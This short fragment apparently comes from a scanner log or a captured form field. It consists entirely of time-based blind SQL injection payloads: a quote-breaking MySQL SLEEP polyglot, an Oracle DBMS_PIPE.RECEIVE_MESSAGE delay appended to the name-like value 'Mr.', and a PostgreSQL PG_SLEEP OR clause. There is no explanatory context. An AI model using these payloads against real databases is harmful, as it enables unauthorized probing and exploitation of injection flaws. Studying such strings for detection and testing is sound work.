(SELECT(0)FROM(SELECT(SLEEP(15)))V)/*'+(SELECT(0)FROM(SELECT(SLEEP(15)))V)+'"+(SELECT(0)FROM(SELECT(SLEEP(15)))V)+"*/  


  Mr. Mr.'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' Mr.zAlEGmgz')) OR 596=(SELECT 596 FROM PG_SLEEP(15))--